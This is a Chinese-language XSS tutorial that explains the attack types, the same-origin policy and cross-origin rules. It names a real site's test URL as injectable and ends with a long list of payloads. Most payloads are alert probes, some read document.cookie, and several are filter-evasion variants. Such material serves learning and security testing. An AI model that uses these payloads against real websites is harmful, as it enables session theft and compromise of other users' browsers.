您现在的位置是:首页 >其他 >XSS注入(跨站脚本攻击)网站首页其他
XSS注入(跨站脚本攻击)
今天学习一下xss注入
1.XSS是什么
XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。
2.XSS分类
1.反射性XSS
反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。
2.存储型XSS
存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。
3.DOM型XSS
DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。
简单的了解这些之后来看看什么是跨域 什么是同源策略
1.同源策略
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说是web构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。
同源策略是一个重要的安全策略,它用于限制一个origin的文档或它加载的脚本如何能与另一个源的资源进行交互。能够减少恶意文档,减少可能被攻击媒介。 如果两个URL的协议、域名、端口号都相同,就称这两个URL同源。
看看一个域名地址的组成:
浏览器默认两个不同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若是想要访问资源或者操作DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。它的存在可以保护用户隐私信息,防止身份伪造。
Origin
Web内容的源用于访问它的URL的协议(方案)、主机(域名)、和端口号。只有当协议、主机、域名都匹配时,两个对象才具有相同的起源,即Origin相同。
(如果把html看做是一个文档,那么端口号是其存放位置的根目录,主机是其上级目录,协议是其上上级目录,同源策略就可以理解为同一根目录下的文件才可以访问、操作)
同源策略限制内容有:
Cookie、LocalStorage、IndexedDB 等存储性内容
DOM 节点
AJAX 请求发送后,结果被浏览器拦截了
但是有三个标签是允许跨域加载资源:
<img src='xxx'>
<link href='xxx'>
<script src='xxx'>
跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是结果被浏览器拦截了。
跨域
- 广义:指一个域下的文档或脚本试图去请求另一个域下的资源。
- 狭义:浏览器不能执行其他网站的脚本,是由浏览器同源策略限制的一类请求场景,从一个域名的网页去请求另一个域名的资源时,域名、端口、协议任一不同,都是跨域。
例如:a页面想获取b页面资源,如果a、b页面的协议、域名、端口、子域名不同,所进行的访问行动都是跨域的,而浏览器为了安全问题一般都限制了跨域访问,也就是不允许跨域请求资源。注意:跨域限制访问,其实是浏览器的限制。
当然跨域有很多种解决办法 这里不一一详细描述了 推荐一篇大佬的博客
最常见的六种跨域解决方案_跨域问题怎么解决_China_YF的博客-CSDN博客
xss注入攻击的本质就是代码注入
特点:XSS主要基于JavaScript完成恶意的攻击行为,由于JS可以非常灵活地操作html、css和浏览器,使得跨站脚本攻击的“想象”空间特别大。
攻击对象:被攻击者的浏览器。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器。
XSS攻击的主要途径
第一种:对普通的用户输入,页面原样内容输出。
打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:<script>alert(‘xss’)</script>, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=<script>alert(‘xss’)& lt;/script>,并对JSCODE做适当伪装,如:
http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。
第二种:在代码区里有用户输入的内容
原则就是,代码区中,绝对不应含有用户输入的东西。
第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。
1,直接使用JS脚本。
<img src=”javascript:alert(‘xss’)” />
2,对JS脚本进行转码。
<img src=”javascript:alert(‘xss’)” />
3,利用标签的触发条件插入代码并进行转码。
<img οnerrοr=”alert(‘xss’)” />
4,使用16进制来写(可以在傲游中运行)
<img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″>
以上写法等于<img STYLE=”background-image: url(javascript:alert(‘XSS’))”>
常见payload:
<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"